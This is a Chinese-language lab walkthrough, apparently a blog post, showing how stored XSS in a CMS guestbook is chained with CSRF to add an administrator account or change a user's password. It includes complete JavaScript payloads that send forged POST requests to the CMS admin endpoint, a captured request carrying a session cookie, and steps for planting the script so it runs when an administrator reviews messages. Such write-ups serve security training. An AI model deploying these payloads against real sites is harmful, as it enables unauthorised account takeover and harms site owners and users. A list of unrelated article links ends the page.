CSRF与XSS结合利用

文章目录

修改cms网站后台管理员密码

CSRF和XSS结合的JS代码:

复制代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

登录cms管理员后台,创建一个新账户:

修改密码并用bp抓包,抓到的post请求包如下:

复制代码
POST /cms/admin/user.action.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/cms/admin/user.add.php?act=edit&userid=30
Cookie: username=admin; userid=1; PHPSESSID=he767h7viun2ig25ega7euu4l2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

act=edit&password=111111&password2=111111&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30

根据上述请求包的数据修改JS代码的act的password字段,修改地址,修改content-type字段:

复制代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://127.0.0.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=edit&password=12345&password2=12345&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30");
</script>

打开cms网页,在留言板中添加这段js代码并留言,提交:

当管理员在后台审核,看到这段留言时已经被攻击,EMT用户的密码已经被修改:

后台尝试登录EMT账户,发现不成功,密码已经被修改:

成功登录

用之前抓包修改的密码发现果然可以登录:

总结

我们先用bp在后台管理员修改账户密码的时候抓到了它的post请求包,然后将password字段修改后放入一段JS代码中,这段代码是XSS和CSRF漏洞的结合,接着我们找到cms网页中存在XSS漏洞的位置,即留言板,利用留言板注入JS代码,当后台管理审核留言时看到我们的留言,就会被攻击,使得网站的状态被改变,从而使EMT用户的密码被修改,这就是XSS和CSRF的结合。

相关推荐
你挚爱的强哥10 分钟前
Vue2 实现 1.5s 十连击监听(连续点击若干次),封装通用可复用点击检测工具,不用 data!Vue 封装通用连击监听方法,支持自定义时长与点击次数
前端·javascript·vue.js
huashengzsj1 小时前
Shopify个人建站如何搭建独立站:从零开始的完整指南
前端·网络·人工智能
程序猿小泓1 小时前
从 Claude Code 学 Agent Harness:一个前端工程师的 AI Agent 学习笔记
前端·人工智能·学习
柒和远方2 小时前
从审计日志到可下载证据包:事务型 Outbox、租约 fencing 与保留水位
前端·后端·架构
minglie12 小时前
npm ali-oss库依赖冲突
前端·npm
CryptoPP2 小时前
BSE股票K线数据接入实战:从接口调用到前端图表展示
大数据·前端·网络·人工智能·websocket·网络协议
Random_index4 小时前
#Vue3篇: Vue 项目发版后如何提示用户刷新?基于 package.json 版本号的前端更新检测方案
前端·vue.js·json
没落英雄4 小时前
5. 从零开始搭建一个 AI Agent —— 人机协作与中断恢复
前端·人工智能·架构
品尚公益团队5 小时前
C#在asp.net网页开发中的带cookie登录实现
前端·c#·asp.net
没有了遇见6 小时前
AI Agent 是什么?—— 一文理解 LLM、Memory、Skills、Tools、MCP、Workflow,Context
android·前端·程序员